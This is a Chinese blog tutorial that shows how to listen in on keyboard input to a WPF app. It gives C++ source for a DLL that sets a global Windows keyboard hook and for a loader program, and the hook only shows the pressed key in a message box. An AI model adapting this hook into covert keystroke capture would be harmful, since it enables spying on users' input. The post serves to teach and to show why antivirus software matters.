聊一聊 WPF 程序的键盘是如何被窃听的？

一：背景

1.讲故事

前几天群里很热闹，看了下在争论两个问题：

电脑里要不要装杀毒软件 ?
应该装什么杀毒软件 ?

不管杀毒软件流氓不流氓，在如今病毒肆虐的当下互联网，装一个还是能帮我们拦截很多意想不到的东西，为了眼见为实，这一篇我们就聊一个窃听 键盘事件 的恶意代码。.

2. 思路

实现思路非常简单，一旦某个程序触发了键盘事件，就给目标程序注入一个 dll，在这个 dll 中来实现窃听的业务逻辑，简而言之就是在 OS -> WPF 的消息传递链路上安装一个 消息钩子。

二：键盘窃听

1. 新建 WPF 程序

要截获 WPF 的键盘事件，首先得新建一个 WpfApp1.exe 程序，放一个文本框，等一会我们要窃听它，截图如下：

2. 注入进程的 MyHook.dll

新建一个 C++ 的动态链接库项目，取名 MyHook.dll，这个 dll 是用于动态注入到 WpfApp1 中做窃听的，参考代码如下：

#include "pch.h"

#include "stdio.h"
#include "windows.h"
#include <string>

using namespace std;

HINSTANCE myhookModule = NULL;
HHOOK g_hHook = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {

 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:myhookModule = hModule;  break;
 }
 return TRUE;
}

LRESULT CALLBACK MyKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

 char szPath[MAX_PATH] = {};

 if (nCode == 0 && !(lParam & 0x80000000)) {

  //1. 提取程序名
  GetModuleFileNameA(NULL, szPath, MAX_PATH);
  char* p = strrchr(szPath, '\\');

  //2. 监控 WpfApp1.exe
  if (!_stricmp(p + 1, "WpfApp1.exe")) {
   wstring content = L"您的按键：" + to_wstring(toascii(wParam));
   MessageBox(NULL, content.c_str(), L"友情提示", 1);
  }

 }
 return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

extern "C" {
 __declspec(dllexport) void HookStart() {
  g_hHook = SetWindowsHookEx(WH_KEYBOARD, MyKeyboardProc, myhookModule, 0);
 }

 __declspec(dllexport) void HookStop() {
  if (g_hHook) {
   UnhookWindowsHookEx(g_hHook);
   g_hHook = NULL;
  }
 }
}

代码逻辑很简单，大概分三块：

SetWindowsHookEx

在 Win32Api 中提供了一个叫 SetWindowsHookEx 函数用来设置消息钩子，从方法参数中可以看到，可以指定对某一类消息进行监听，并且还能触发相应的回调函数，比如这里的 MyKeyboardProc，消息类型参考如下：

#define WH_MIN              (-1)
#define WH_MSGFILTER        (-1)
#define WH_JOURNALRECORD    0
#define WH_JOURNALPLAYBACK  1
#define WH_KEYBOARD         2
#define WH_GETMESSAGE       3
#define WH_CALLWNDPROC      4
#define WH_CBT              5
#define WH_SYSMSGFILTER     6
#define WH_MOUSE            7
...

最后通过 C 的方式导出 HookStart 和 HookStop 函数，方便宿主提前启动。

MyKeyboardProc

这个是具体的回调函数，逻辑很简单，就是对 WpfApp1.exe 程序的键盘事件的触发提前处理，其他程序触发的事件我们不需要处理，最后通过 MessageBox 的方式将输入的键值以 ascii 码的方式打印出来。

DllMain

这个是 DLL 的入口函数，和 exe 的 Main 的作用是一致的，我们在dll被加载的时候，记录下 module 的实例，方便操作系统将这个 module 注入到其他进程中。

3. MyHook 的宿主 MyHookMain.exe

接下来新建一个名为 MyHookMain.exe 的 C++ 程序，目的就是调用 HookStart 函数，参考如下代码：

#include <iostream>
#include "stdio.h"
#include "conio.h"
#include "Windows.h"

typedef void(*MY_HOOKSTART)();

int main()
{
 HMODULE hDll = LoadLibrary(L"MyHook.dll");

 MY_HOOKSTART hookStart = (MY_HOOKSTART)GetProcAddress(hDll, "HookStart");

 hookStart();

 printf("hookStart 已成功启动！");

 getchar();

 FreeLibrary(hDll);
}

接下来把程序跑起来，如果正常就启用了消息挂钩，截图如下：